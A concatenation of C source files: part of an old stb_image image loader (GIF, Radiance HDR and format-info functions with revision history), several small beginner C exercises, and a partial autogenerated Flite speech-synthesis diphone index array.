oldcode = code;
} else {
return epuc("illegal code in raster", "Corrupt GIF");
}
}
}
}
static void stbi_fill_gif_background(stbi_gif *g)
{
int i;
stbi__uint8 *c = g->pal[g->bgindex];
// @OPTIMIZE: write a dword at a time
for (i = 0; i < g->w * g->h * 4; i += 4) {
stbi__uint8 *p = &g->out[i];
p[0] = c[2];
p[1] = c[1];
p[2] = c[0];
p[3] = c[3];
}
}
// this function is designed to support animated gifs, although stb_image doesn't support it
static stbi__uint8 *stbi_gif_load_next(stbi *s, stbi_gif *g, int *comp, int req_comp)
{
int i;
stbi__uint8 *old_out = 0;
if (g->out == 0) {
if (!stbi_gif_header(s, g, comp,0)) return 0; // failure_reason set by stbi_gif_header
g->out = (stbi__uint8 *) malloc(4 * g->w * g->h);
if (g->out == 0) return epuc("outofmem", "Out of memory");
stbi_fill_gif_background(g);
} else {
// animated-gif-only path
if (((g->eflags & 0x1C) >> 2) == 3) {
old_out = g->out;
g->out = (stbi__uint8 *) malloc(4 * g->w * g->h);
if (g->out == 0) return epuc("outofmem", "Out of memory");
memcpy(g->out, old_out, g->w*g->h*4);
}
}
for (;;) {
switch (get8(s)) {
case 0x2C: /* Image Descriptor */
{
stbi__int32 x, y, w, h;
stbi__uint8 *o;
x = get16le(s);
y = get16le(s);
w = get16le(s);
h = get16le(s);
if (((x + w) > (g->w)) || ((y + h) > (g->h)))
return epuc("bad Image Descriptor", "Corrupt GIF");
g->line_size = g->w * 4;
g->start_x = x * 4;
g->start_y = y * g->line_size;
g->max_x = g->start_x + w * 4;
g->max_y = g->start_y + h * g->line_size;
g->cur_x = g->start_x;
g->cur_y = g->start_y;
g->lflags = get8(s);
if (g->lflags & 0x40) {
g->step = 8 * g->line_size; // first interlaced spacing
g->parse = 3;
} else {
g->step = g->line_size;
g->parse = 0;
}
if (g->lflags & 0x80) {
stbi_gif_parse_colortable(s,g->lpal, 2 << (g->lflags & 7), g->eflags & 0x01 ? g->transparent : -1);
g->color_table = (stbi__uint8 *) g->lpal;
} else if (g->flags & 0x80) {
for (i=0; i < 256; ++i) // @OPTIMIZE: reset only the previous transparent
g->pal[i][3] = 255;
if (g->transparent >= 0 && (g->eflags & 0x01))
g->pal[g->transparent][3] = 0;
g->color_table = (stbi__uint8 *) g->pal;
} else
return epuc("missing color table", "Corrupt GIF");
o = stbi_process_gif_raster(s, g);
if (o == NULL) return NULL;
if (req_comp && req_comp != 4)
o = convert_format(o, 4, req_comp, g->w, g->h);
return o;
}
case 0x21: // Comment Extension.
{
int len;
if (get8(s) == 0xF9) { // Graphic Control Extension.
len = get8(s);
if (len == 4) {
g->eflags = get8(s);
get16le(s); // delay
g->transparent = get8(s);
} else {
skip(s, len);
break;
}
}
while ((len = get8(s)) != 0)
skip(s, len);
break;
}
case 0x3B: // gif stream termination code
return (stbi__uint8 *) 1;
default:
return epuc("unknown code", "Corrupt GIF");
}
}
}
static stbi_uc *stbi_gif_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
stbi__uint8 *u = 0;
stbi_gif g={0};
u = stbi_gif_load_next(s, &g, comp, req_comp);
if (u == (void *) 1) u = 0; // end of animated gif marker
if (u) {
*x = g.w;
*y = g.h;
}
return u;
}
static int stbi_gif_info(stbi *s, int *x, int *y, int *comp)
{
return stbi_gif_info_raw(s,x,y,comp);
}
// *************************************************************************************************
// Radiance RGBE HDR loader
// originally by Nicolas Schulz
#ifndef STBI_NO_HDR
static int hdr_test(stbi *s)
{
const char *signature = "#?RADIANCE\n";
int i;
for (i=0; signature[i]; ++i)
if (get8(s) != signature[i])
return 0;
return 1;
}
static int stbi_hdr_test(stbi* s)
{
int r = hdr_test(s);
stbi_rewind(s);
return r;
}
#define HDR_BUFLEN 1024
static char *hdr_gettoken(stbi *z, char *buffer)
{
int len=0;
char c = '\0';
c = (char) get8(z);
while (!at_eof(z) && c != '\n') {
buffer[len++] = c;
if (len == HDR_BUFLEN-1) {
// flush to end of line
while (!at_eof(z) && get8(z) != '\n')
;
break;
}
c = (char) get8(z);
}
buffer[len] = 0;
return buffer;
}
static void hdr_convert(float *output, stbi_uc *input, int req_comp)
{
if ( input[3] != 0 ) {
float f1;
// Exponent
f1 = (float) ldexp(1.0f, input[3] - (int)(128 + 8));
if (req_comp <= 2)
output[0] = (input[0] + input[1] + input[2]) * f1 / 3;
else {
output[0] = input[0] * f1;
output[1] = input[1] * f1;
output[2] = input[2] * f1;
}
if (req_comp == 2) output[1] = 1;
if (req_comp == 4) output[3] = 1;
} else {
switch (req_comp) {
case 4: output[3] = 1; /* fallthrough */
case 3: output[0] = output[1] = output[2] = 0;
break;
case 2: output[1] = 1; /* fallthrough */
case 1: output[0] = 0;
break;
}
}
}
static float *hdr_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
char buffer[HDR_BUFLEN];
char *token;
int valid = 0;
int width, height;
stbi_uc *scanline;
float *hdr_data;
int len;
unsigned char count, value;
int i, j, k, c1,c2, z;
// Check identifier
if (strcmp(hdr_gettoken(s,buffer), "#?RADIANCE") != 0)
return epf("not HDR", "Corrupt HDR image");
// Parse header
for(;;) {
token = hdr_gettoken(s,buffer);
if (token[0] == 0) break;
if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
}
if (!valid) return epf("unsupported format", "Unsupported HDR format");
// Parse width and height
// can't use sscanf() if we're not using stdio!
token = hdr_gettoken(s,buffer);
if (strncmp(token, "-Y ", 3)) return epf("unsupported data layout", "Unsupported HDR format");
token += 3;
height = (int) strtol(token, &token, 10);
while (*token == ' ') ++token;
if (strncmp(token, "+X ", 3)) return epf("unsupported data layout", "Unsupported HDR format");
token += 3;
width = (int) strtol(token, NULL, 10);
*x = width;
*y = height;
*comp = 3;
if (req_comp == 0) req_comp = 3;
// Read data
hdr_data = (float *) malloc(height * width * req_comp * sizeof(float));
// Load image data
// image data is stored as some number of sca
if ( width < 8 || width >= 32768) {
// Read flat data
for (j=0; j < height; ++j) {
for (i=0; i < width; ++i) {
stbi_uc rgbe[4];
main_decode_loop:
getn(s, rgbe, 4);
hdr_convert(hdr_data + j * width * req_comp + i * req_comp, rgbe, req_comp);
}
}
} else {
// Read RLE-encoded data
scanline = NULL;
for (j = 0; j < height; ++j) {
c1 = get8(s);
c2 = get8(s);
len = get8(s);
if (c1 != 2 || c2 != 2 || (len & 0x80)) {
// not run-length encoded, so we have to actually use THIS data as a decoded
// pixel (note this can't be a valid pixel--one of RGB must be >= 128)
stbi__uint8 rgbe[4];
rgbe[0] = (stbi__uint8) c1;
rgbe[1] = (stbi__uint8) c2;
rgbe[2] = (stbi__uint8) len;
rgbe[3] = (stbi__uint8) get8u(s);
hdr_convert(hdr_data, rgbe, req_comp);
i = 1;
j = 0;
free(scanline);
goto main_decode_loop; // yes, this makes no sense
}
len <<= 8;
len |= get8(s);
if (len != width) { free(hdr_data); free(scanline); return epf("invalid decoded scanline length", "corrupt HDR"); }
if (scanline == NULL) scanline = (stbi_uc *) malloc(width * 4);
for (k = 0; k < 4; ++k) {
i = 0;
while (i < width) {
count = get8u(s);
if (count > 128) {
// Run
value = get8u(s);
count -= 128;
for (z = 0; z < count; ++z)
scanline[i++ * 4 + k] = value;
} else {
// Dump
for (z = 0; z < count; ++z)
scanline[i++ * 4 + k] = get8u(s);
}
}
}
for (i=0; i < width; ++i)
hdr_convert(hdr_data+(j*width + i)*req_comp, scanline + i*4, req_comp);
}
free(scanline);
}
return hdr_data;
}
static float *stbi_hdr_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
return hdr_load(s,x,y,comp,req_comp);
}
static int stbi_hdr_info(stbi *s, int *x, int *y, int *comp)
{
char buffer[HDR_BUFLEN];
char *token;
int valid = 0;
if (strcmp(hdr_gettoken(s,buffer), "#?RADIANCE") != 0) {
stbi_rewind( s );
return 0;
}
for(;;) {
token = hdr_gettoken(s,buffer);
if (token[0] == 0) break;
if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
}
if (!valid) {
stbi_rewind( s );
return 0;
}
token = hdr_gettoken(s,buffer);
if (strncmp(token, "-Y ", 3)) {
stbi_rewind( s );
return 0;
}
token += 3;
*y = (int) strtol(token, &token, 10);
while (*token == ' ') ++token;
if (strncmp(token, "+X ", 3)) {
stbi_rewind( s );
return 0;
}
token += 3;
*x = (int) strtol(token, NULL, 10);
*comp = 3;
return 1;
}
#endif // STBI_NO_HDR
static int stbi_bmp_info(stbi *s, int *x, int *y, int *comp)
{
int hsz;
if (get8(s) != 'B' || get8(s) != 'M') {
stbi_rewind( s );
return 0;
}
skip(s,12);
hsz = get32le(s);
if (hsz != 12 && hsz != 40 && hsz != 56 && hsz != 108) {
stbi_rewind( s );
return 0;
}
if (hsz == 12) {
*x = get16le(s);
*y = get16le(s);
} else {
*x = get32le(s);
*y = get32le(s);
}
if (get16le(s) != 1) {
stbi_rewind( s );
return 0;
}
*comp = get16le(s) / 8;
return 1;
}
static int stbi_psd_info(stbi *s, int *x, int *y, int *comp)
{
int channelCount;
if (get32(s) != 0x38425053) {
stbi_rewind( s );
return 0;
}
if (get16(s) != 1) {
stbi_rewind( s );
return 0;
}
skip(s, 6);
channelCount = get16(s);
if (channelCount < 0 || channelCount > 16) {
stbi_rewind( s );
return 0;
}
*y = get32(s);
*x = get32(s);
if (get16(s) != 8) {
stbi_rewind( s );
return 0;
}
if (get16(s) != 3) {
stbi_rewind( s );
return 0;
}
*comp = 4;
return 1;
}
static int stbi_pic_info(stbi *s, int *x, int *y, int *comp)
{
int act_comp=0,num_packets=0,chained;
pic_packet_t packets[10];
skip(s, 92);
*x = get16(s);
*y = get16(s);
if (at_eof(s)) return 0;
if ( (*x) != 0 && (1 << 28) / (*x) < (*y)) {
stbi_rewind( s );
return 0;
}
skip(s, 8);
do {
pic_packet_t *packet;
if (num_packets==sizeof(packets)/sizeof(packets[0]))
return 0;
packet = &packets[num_packets++];
chained = get8(s);
packet->size = get8u(s);
packet->type = get8u(s);
packet->channel = get8u(s);
act_comp |= packet->channel;
if (at_eof(s)) {
stbi_rewind( s );
return 0;
}
if (packet->size != 8) {
stbi_rewind( s );
return 0;
}
} while (chained);
*comp = (act_comp & 0x10 ? 4 : 3);
return 1;
}
static int stbi_info_main(stbi *s, int *x, int *y, int *comp)
{
if (stbi_jpeg_info(s, x, y, comp))
return 1;
if (stbi_png_info(s, x, y, comp))
return 1;
if (stbi_gif_info(s, x, y, comp))
return 1;
if (stbi_bmp_info(s, x, y, comp))
return 1;
if (stbi_psd_info(s, x, y, comp))
return 1;
if (stbi_pic_info(s, x, y, comp))
return 1;
#ifndef STBI_NO_HDR
if (stbi_hdr_info(s, x, y, comp))
return 1;
#endif
// test tga last because it's a crappy test!
if (stbi_tga_info(s, x, y, comp))
return 1;
return e("unknown image type", "Image not of any known type, or corrupt");
}
#ifndef STBI_NO_STDIO
int stbi_info(char const *filename, int *x, int *y, int *comp)
{
FILE *f = fopen(filename, "rb");
int result;
if (!f) return e("can't fopen", "Unable to open file");
result = stbi_info_from_file(f, x, y, comp);
fclose(f);
return result;
}
int stbi_info_from_file(FILE *f, int *x, int *y, int *comp)
{
int r;
stbi s;
long pos = ftell(f);
start_file(&s, f);
r = stbi_info_main(&s,x,y,comp);
fseek(f,pos,SEEK_SET);
return r;
}
#endif // !STBI_NO_STDIO
int stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp)
{
stbi s;
start_mem(&s,buffer,len);
return stbi_info_main(&s,x,y,comp);
}
int stbi_info_from_callbacks(stbi_io_callbacks const *c, void *user, int *x, int *y, int *comp)
{
stbi s;
start_callbacks(&s, (stbi_io_callbacks *) c, user);
return stbi_info_main(&s,x,y,comp);
}
#endif // STBI_HEADER_FILE_ONLY
#if !defined(STBI_NO_STDIO) && defined(_MSC_VER) && _MSC_VER >= 1400
#pragma warning(pop)
#endif
/*
revision history:
1.35 (2014-05-27)
various warnings
fix broken STBI_SIMD path
fix bug where stbi_load_from_file no longer left file pointer in correct place
fix broken non-easy path for 32-bit BMP (possibly never used)
TGA optimization by Arseny Kapoulkine
1.34 (unknown)
use STBI_NOTUSED in resample_row_generic(), fix one more leak in tga failure case
1.33 (2011-07-14)
make stbi_is_hdr work in STBI_NO_HDR (as specified), minor compiler-friendly improvements
1.32 (2011-07-13)
support for "info" function for all supported filetypes (SpartanJ)
1.31 (2011-06-20)
a few more leak fixes, bug in PNG handling (SpartanJ)
1.30 (2011-06-11)
added ability to load files via callbacks to accomidate custom input streams (Ben Wenger)
removed deprecated format-specific test/load functions
removed support for installable file formats (stbi_loader) -- would have been broken for IO callbacks anyway
error cases in bmp and tga give messages and don't leak (Raymond Barbiero, grisha)
fix inefficiency in decoding 32-bit BMP (David Woo)
1.29 (2010-08-16)
various warning fixes from Aurelien Pocheville
1.28 (2010-08-01)
fix bug in GIF palette transparency (SpartanJ)
1.27 (2010-08-01)
cast-to-stbi__uint8 to fix warnings
1.26 (2010-07-24)
fix bug in file buffering for PNG reported by SpartanJ
1.25 (2010-07-17)
refix trans_data warning (Won Chun)
1.24 (2010-07-12)
perf improvements reading from files on platforms with lock-heavy fgetc()
minor perf improvements for jpeg
deprecated type-specific functions so we'll get feedback if they're needed
attempt to fix trans_data warning (Won Chun)
1.23 fixed bug in iPhone support
1.22 (2010-07-10)
removed image *writing* support
stbi_info support from Jetro Lauha
GIF support from Jean-Marc Lienher
iPhone PNG-extensions from James Brown
warning-fixes from Nicolas Schulz and Janez Zemva (i.e. Janez (U+017D)emva)
1.21 fix use of 'stbi__uint8' in header (reported by jon blow)
1.20 added support for Softimage PIC, by Tom Seddon
1.19 bug in interlaced PNG corruption check (found by ryg)
1.18 2008-08-02
fix a threading bug (local mutable static)
1.17 support interlaced PNG
1.16 major bugfix - convert_format converted one too many pixels
1.15 initialize some fields for thread safety
1.14 fix threadsafe conversion bug
header-file-only version (#define STBI_HEADER_FILE_ONLY before including)
1.13 threadsafe
1.12 const qualifiers in the API
1.11 Support installable IDCT, colorspace conversion routines
1.10 Fixes for 64-bit (don't use "unsigned long")
optimized upsampling by Fabian "ryg" Giesen
1.09 Fix format-conversion for PSD code (bad global variables!)
1.08 Thatcher Ulrich's PSD code integrated by Nicolas Schulz
1.07 attempt to fix C++ warning/errors again
1.06 attempt to fix C++ warning/errors again
1.05 fix TGA loading to return correct *comp and use good luminance calc
1.04 default float alpha is 1, not 255; use 'void *' for stbi_image_free
1.03 bugfixes to STBI_NO_STDIO, STBI_NO_HDR
1.02 support for (subset of) HDR files, float interface for preferred access to them
1.01 fix bug: possible bug in handling right-side up bmps... not sure
fix bug: the stbi_bmp_load() and stbi_tga_load() functions didn't work at all
1.00 interface to zlib that skips zlib header
0.99 correct handling of alpha in palette
0.98 TGA loader by lonesock; dynamically add loaders (untested)
0.97 jpeg errors on too large a file; also catch another malloc failure
0.96 fix detection of invalid v value - particleman@mollyrocket forum
0.95 during header scan, seek to markers in case of padding
0.94 STBI_NO_STDIO to disable stdio usage; rename all #defines the same
0.93 handle jpegtran output; verbose errors
0.92 read 4,8,16,24,32-bit BMP files of several formats
0.91 output 24-bit Windows 3.0 BMP files
0.90 fix a few more warnings; bump version number to approach 1.0
0.61 bugfixes due to Marc LeBlanc, Christopher Lloyd
0.60 fix compiling as c++
0.59 fix warnings: merge Dave Moore's -Wall fixes
0.58 fix bug: zlib uncompressed mode len/nlen was wrong endian
0.57 fix bug: jpg last huffman symbol before marker was >9 bits but less than 16 available
0.56 fix bug: zlib uncompressed mode len vs. nlen
0.55 fix bug: restart_interval not initialized to 0
0.54 allow NULL for 'int *comp'
0.53 fix bug in png 3->4; speedup png decoding
0.52 png handles req_comp=3,4 directly; minor cleanup; jpeg comments
0.51 obey req_comp requests, 1-component jpegs return as 1-component,
on 'test' only check type, not whether we support this variant
0.50 first released version
*/
|
the_stack_data/29661.c
|
#include <stdio.h>
int max(int num1, int num2);
int main(void)
{
int a = 100;
int b = 200;
int ret;
ret = max(a,b);
printf("Max value is : %d\n", ret);
return 0;
}
int max(int num1, int num2)
{
int result;
if(num1 > num2)
result = num1;
else
result = num2;
return result;
}
|
the_stack_data/48992.c
|
#include<stdio.h>
int main()
{
int n2,n1;
for(n2=0;n2<=5;n2++)
{
for(n1=0;n1<=4;n1++)
{
printf("\n %d %d",n2,n1);
}
}
}
|
the_stack_data/21058.c
|
#include <stdio.h>
// print kinds of vars with printf
/* multi lines comments
* multi
* lines
* comments
*/
int main()
{
int applenum = 10;
char cha = 'a';
float money = 12.4;
double r = 123.768;
printf("%d\n", applenum);
printf("%c\n", cha);
printf("%f\n", money);
printf("%f\n", r);
return 0;
}
|
the_stack_data/151705397.c
|
/*
Da esame del 01/09/2020 della prof.ssa Cristiana Bolchini
https://bolchini.faculty.polimi.it/exams/20200120.pdf
-> Quesito 2
*/
#include <stdio.h>
#define MAX 200
int compattaarray(int arr[], int dim);
int primo(int n);
int main() {
int dim, arr[MAX], i;
do {
printf("N. elementi: ");
scanf("%d", &dim);
} while (dim <= 0 || dim > MAX);
printf("Elementi:\n");
for (i = 0; i < dim; i++)
scanf("%d", &arr[i]);
dim = compattaarray(arr, dim);
for (i = 0; i < dim; i++)
printf("%d ", arr[i]);
printf("\n");
return 0;
}
int compattaarray(int arr[], int dim) {
int i, j;
for (i = 0, j = 0; i < dim; i++) {
if (primo(arr[i])) {
arr[j] = arr[i];
j++;
}
}
return j;
}
int primo(int n) {
int i, res;
for (i = 2, res = 1; i * i <= n && res; i++)
if (n % i == 0)
res = 0;
return n != 1 && res;
}
|
the_stack_data/873831.c
|
/****************************************************/
/** Autogenerated Diphone Residual index for cmu_us_kal_phon */
/****************************************************/
const unsigned int cmu_us_kal_phon_resi[] = {
0, /* 0 */
92, /* 1 */
185, /* 2 */
277, /* 3 */
368, /* 4 */
460, /* 5 */
552, /* 6 */
644, /* 7 */
735, /* 8 */
827, /* 9 */
918, /* 10 */
1010, /* 11 */
1102, /* 12 */
1193, /* 13 */
1280, /* 14 */
1368, /* 15 */
1456, /* 16 */
1543, /* 17 */
1630, /* 18 */
1716, /* 19 */
1801, /* 20 */
1885, /* 21 */
1969, /* 22 */
2054, /* 23 */
2139, /* 24 */
2225, /* 25 */
2312, /* 26 */
2399, /* 27 */
2491, /* 28 */
2584, /* 29 */
2677, /* 30 */
2770, /* 31 */
2863, /* 32 */
2955, /* 33 */
3047, /* 34 */
3138, /* 35 */
3229, /* 36 */
3320, /* 37 */
3412, /* 38 */
3503, /* 39 */
3595, /* 40 */
3686, /* 41 */
3776, /* 42 */
3866, /* 43 */
3955, /* 44 */
4043, /* 45 */
4133, /* 46 */
4222, /* 47 */
4312, /* 48 */
4401, /* 49 */
4490, /* 50 */
4578, /* 51 */
4665, /* 52 */
4752, /* 53 */
4840, /* 54 */
4927, /* 55 */
5018, /* 56 */
5108, /* 57 */
5198, /* 58 */
5288, /* 59 */
5379, /* 60 */
5470, /* 61 */
5560, /* 62 */
5650, /* 63 */
5742, /* 64 */
5834, /* 65 */
5926, /* 66 */
6017, /* 67 */
6107, /* 68 */
6201, /* 69 */
6295, /* 70 */
6389, /* 71 */
6482, /* 72 */
6576, /* 73 */
6670, /* 74 */
6765, /* 75 */
6859, /* 76 */
6951, /* 77 */
7044, /* 78 */
7137, /* 79 */
7230, /* 80 */
7322, /* 81 */
7407, /* 82 */
7492, /* 83 */
7578, /* 84 */
7663, /* 85 */
7750, /* 86 */
7836, /* 87 */
7922, /* 88 */
8009, /* 89 */
8099, /* 90 */
8191, /* 91 */
8276, /* 92 */
8361, /* 93 */
8447, /* 94 */
8534, /* 95 */
8621, /* 96 */
8710, /* 97 */
8801, /* 98 */
8891, /* 99 */
8976, /* 100 */
9064, /* 101 */
9152, /* 102 */
9239, /* 103 */
9328, /* 104 */
9416, /* 105 */
9503, /* 106 */
9590, /* 107 */
9676, /* 108 */
9764, /* 109 */
9853, /* 110 */
9943, /* 111 */
10033, /* 112 */
10123, /* 113 */
10213, /* 114 */
10303, /* 115 */
10397, /* 116 */
10486, /* 117 */
10569, /* 118 */
10652, /* 119 */
10736, /* 120 */
10825, /* 121 */
10915, /* 122 */
11006, /* 123 */
11095, /* 124 */
11186, /* 125 */
11276, /* 126 */
11365, /* 127 */
11454, /* 128 */
11544, /* 129 */
11633, /* 130 */
11721, /* 131 */
11808, /* 132 */
11895, /* 133 */
11986, /* 134 */
12077, /* 135 */
12168, /* 136 */
12257, /* 137 */
12346, /* 138 */
12435, /* 139 */
12522, /* 140 */
12609, /* 141 */
12697, /* 142 */
12784, /* 143 */
12872, /* 144 */
12959, /* 145 */
13046, /* 146 */
13132, /* 147 */
13221, /* 148 */
13310, /* 149 */
13397, /* 150 */
13486, /* 151 */
13575, /* 152 */
13663, /* 153 */
13751, /* 154 */
13839, /* 155 */
13927, /* 156 */
14015, /* 157 */
14102, /* 158 */
14189, /* 159 */
14277, /* 160 */
14365, /* 161 */
14452, /* 162 */
14541, /* 163 */
14630, /* 164 */
14719, /* 165 */
14809, /* 166 */
14901, /* 167 */
14997, /* 168 */
15087, /* 169 */
15169, /* 170 */
15252, /* 171 */
15334, /* 172 */
15417, /* 173 */
15505, /* 174 */
15594, /* 175 */
15683, /* 176 */
15772, /* 177 */
15861, /* 178 */
15949, /* 179 */
16038, /* 180 */
16124, /* 181 */
16210, /* 182 */
16295, /* 183 */
16381, /* 184 */
16468, /* 185 */
16556, /* 186 */
16645, /* 187 */
16736, /* 188 */
16828, /* 189 */
16919, /* 190 */
17011, /* 191 */
17101, /* 192 */
17190, /* 193 */
17280, /* 194 */
17370, /* 195 */
17459, /* 196 */
17549, /* 197 */
17639, /* 198 */
17729, /* 199 */
17818, /* 200 */
17907, /* 201 */
17995, /* 202 */
18083, /* 203 */
18171, /* 204 */
18262, /* 205 */
18352, /* 206 */
18442, /* 207 */
18531, /* 208 */
18622, /* 209 */
18711, /* 210 */
18801, /* 211 */
18890, /* 212 */
18979, /* 213 */
19066, /* 214 */
19155, /* 215 */
19243, /* 216 */
19331, /* 217 */
19419, /* 218 */
19504, /* 219 */
19590, /* 220 */
19677, /* 221 */
19762, /* 222 */
19847, /* 223 */
19931, /* 224 */
20015, /* 225 */
20101, /* 226 */
20188, /* 227 */
20279, /* 228 */
20368, /* 229 */
20454, /* 230 */
20544, /* 231 */
20633, /* 232 */
20726, /* 233 */
20816, /* 234 */
20901, /* 235 */
20985, /* 236 */
21069, /* 237 */
21157, /* 238 */
21245, /* 239 */
21334, /* 240 */
21425, /* 241 */
21514, /* 242 */
21605, /* 243 */
21695, /* 244 */
21785, /* 245 */
21876, /* 246 */
21965, /* 247 */
22053, /* 248 */
22140, /* 249 */
22228, /* 250 */
22315, /* 251 */
22403, /* 252 */
22490, /* 253 */
22578, /* 254 */
22666, /* 255 */
22754, /* 256 */
22841, /* 257 */
22928, /* 258 */
23015, /* 259 */
23103, /* 260 */
23191, /* 261 */
23279, /* 262 */
23368, /* 263 */
23456, /* 264 */
23544, /* 265 */
23631, /* 266 */
23718, /* 267 */
23806, /* 268 */
23894, /* 269 */
23983, /* 270 */
24073, /* 271 */
24164, /* 272 */
24256, /* 273 */
24348, /* 274 */
24439, /* 275 */
24530, /* 276 */
24621, /* 277 */
24712, /* 278 */
24802, /* 279 */
24892, /* 280 */
24982, /* 281 */
25072, /* 282 */
25162, /* 283 */
25252, /* 284 */
25342, /* 285 */
25431, /* 286 */
25520, /* 287 */
25608, /* 288 */
25697, /* 289 */
25785, /* 290 */
25874, /* 291 */
25962, /* 292 */
26050, /* 293 */
26139, /* 294 */
26229, /* 295 */
26318, /* 296 */
26407, /* 297 */
26497, /* 298 */
26588, /* 299 */
26680, /* 300 */
26771, /* 301 */
26862, /* 302 */
26953, /* 303 */
27044, /* 304 */
27135, /* 305 */
27226, /* 306 */
27316, /* 307 */
27406, /* 308 */
27496, /* 309 */
27582, /* 310 */
27669, /* 311 */
27756, /* 312 */
27843, /* 313 */
27932, /* 314 */
28020, /* 315 */
28109, /* 316 */
28196, /* 317 */
28284, /* 318 */
28372, /* 319 */
28461, /* 320 */
28550, /* 321 */
28639, /* 322 */
28728, /* 323 */
28816, /* 324 */
28904, /* 325 */
28994, /* 326 */
29079, /* 327 */
29159, /* 328 */
29239, /* 329 */
29320, /* 330 */
29400, /* 331 */
29480, /* 332 */
29561, /* 333 */
29641, /* 334 */
29722, /* 335 */
29802, /* 336 */
29882, /* 337 */
29963, /* 338 */
30043, /* 339 */
30123, /* 340 */
30204, /* 341 */
30284, /* 342 */
30364, /* 343 */
30455, /* 344 */
30547, /* 345 */
30639, /* 346 */
30732, /* 347 */
30824, /* 348 */
30916, /* 349 */
31010, /* 350 */
31103, /* 351 */
31197, /* 352 */
31290, /* 353 */
31383, /* 354 */
31474, /* 355 */
31565, /* 356 */
31654, /* 357 */
31736, /* 358 */
31818, /* 359 */
31900, /* 360 */
31984, /* 361 */
32069, /* 362 */
32158, /* 363 */
32249, /* 364 */
32340, /* 365 */
32428, /* 366 */
32516, /* 367 */
32604, /* 368 */
32692, /* 369 */
32781, /* 370 */
32872, /* 371 */
32963, /* 372 */
33054, /* 373 */
33148, /* 374 */
33239, /* 375 */
33325, /* 376 */
33412, /* 377 */
33499, /* 378 */
33585, /* 379 */
33670, /* 380 */
33754, /* 381 */
33838, /* 382 */
33923, /* 383 */
34010, /* 384 */
34098, /* 385 */
34184, /* 386 */
34268, /* 387 */
34352, /* 388 */
34435, /* 389 */
34523, /* 390 */
34612, /* 391 */
34702, /* 392 */
34794, /* 393 */
34888, /* 394 */
34984, /* 395 */
35078, /* 396 */
35170, /* 397 */
35259, /* 398 */
35344, /* 399 */
35433, /* 400 */
35524, /* 401 */
35613, /* 402 */
35701, /* 403 */
35790, /* 404 */
35878, /* 405 */
35967, /* 406 */
36055, /* 407 */
36142, /* 408 */
36229, /* 409 */
36318, /* 410 */
36406, /* 411 */
36497, /* 412 */
36588, /* 413 */
36680, /* 414 */
36772, /* 415 */
36863, /* 416 */
36952, /* 417 */
37043, /* 418 */
37132, /* 419 */
37221, /* 420 */
37310, /* 421 */
37400, /* 422 */
37488, /* 423 */
37577, /* 424 */
37666, /* 425 */
37756, /* 426 */
37848, /* 427 */
37939, /* 428 */
38030, /* 429 */
38122, /* 430 */
38216, /* 431 */
38313, /* 432 */
38402, /* 433 */
38493, /* 434 */
38586, /* 435 */
38677, /* 436 */
38767, /* 437 */
38859, /* 438 */
38950, /* 439 */
39041, /* 440 */
39133, /* 441 */
39226, /* 442 */
39318, /* 443 */
39411, /* 444 */
39504, /* 445 */
39596, /* 446 */
39686, /* 447 */
39776, /* 448 */
39866, /* 449 */
39956, /* 450 */
40047, /* 451 */
40138, /* 452 */
40229, /* 453 */
40319, /* 454 */
40409, /* 455 */
40498, /* 456 */
40589, /* 457 */
40678, /* 458 */
40766, /* 459 */
40854, /* 460 */
40942, /* 461 */
41032, /* 462 */
41121, /* 463 */
41211, /* 464 */
41301, /* 465 */
41391, /* 466 */
41478, /* 467 */
41565, /* 468 */
41652, /* 469 */
41739, /* 470 */
41826, /* 471 */
41912, /* 472 */
42000, /* 473 */
42089, /* 474 */
42180, /* 475 */
42270, /* 476 */
42356, /* 477 */
42443, /* 478 */
42532, /* 479 */
42622, /* 480 */
42712, /* 481 */
42803, /* 482 */
42897, /* 483 */
42995, /* 484 */
43088, /* 485 */
43176, /* 486 */
43266, /* 487 */
43354, /* 488 */
43443, /* 489 */
43532, /* 490 */
43621, /* 491 */
43710, /* 492 */
43799, /* 493 */
43889, /* 494 */
43979, /* 495 */
44070, /* 496 */
44161, /* 497 */
44252, /* 498 */
44343, /* 499 */
44433, /* 500 */
44522, /* 501 */
44612, /* 502 */
44702, /* 503 */
44791, /* 504 */
44882, /* 505 */
44971, /* 506 */
45060, /* 507 */
45149, /* 508 */
45239, /* 509 */
45328, /* 510 */
45417, /* 511 */
45505, /* 512 */
45593, /* 513 */
45681, /* 514 */
45768, /* 515 */
45856, /* 516 */
45943, /* 517 */
46032, /* 518 */
46122, /* 519 */
46211, /* 520 */
46302, /* 521 */
46391, /* 522 */
46479, /* 523 */
46568, /* 524 */
46657, /* 525 */
46746, /* 526 */
46835, /* 527 */
46924, /* 528 */
47013, /* 529 */
47102, /* 530 */
47189, /* 531 */
47277, /* 532 */
47366, /* 533 */
47457, /* 534 */
47550, /* 535 */
47643, /* 536 */
47736, /* 537 */
47828, /* 538 */
47921, /* 539 */
48015, /* 540 */
48109, /* 541 */
48203, /* 542 */
48296, /* 543 */
48389, /* 544 */
48482, /* 545 */
48576, /* 546 */
48669, /* 547 */
48764, /* 548 */
48859, /* 549 */
48953, /* 550 */
49047, /* 551 */
49140, /* 552 */
49232, /* 553 */
49322, /* 554 */
49412, /* 555 */
49503, /* 556 */
49595, /* 557 */
49688, /* 558 */
49781, /* 559 */
49872, /* 560 */
49963, /* 561 */
50054, /* 562 */
50146, /* 563 */
50237, /* 564 */
50329, /* 565 */
50421, /* 566 */
50514, /* 567 */
50607, /* 568 */
50700, /* 569 */
50793, /* 570 */
50887, /* 571 */
50981, /* 572 */
51074, /* 573 */
51167, /* 574 */
51260, /* 575 */
51354, /* 576 */
51448, /* 577 */
51542, /* 578 */
51636, /* 579 */
51729, /* 580 */
51822, /* 581 */
51915, /* 582 */
52008, /* 583 */
52093, /* 584 */
52180, /* 585 */
52268, /* 586 */
52358, /* 587 */
52450, /* 588 */
52550, /* 589 */
52645, /* 590 */
52730, /* 591 */
52818, /* 592 */
52907, /* 593 */
52996, /* 594 */
53083, /* 595 */
53171, /* 596 */
53258, /* 597 */
53347, /* 598 */
53437, /* 599 */
53528, /* 600 */
53619, /* 601 */
53708, /* 602 */
53796, /* 603 */
53884, /* 604 */
53972, /* 605 */
54059, /* 606 */
54145, /* 607 */
54231, /* 608 */
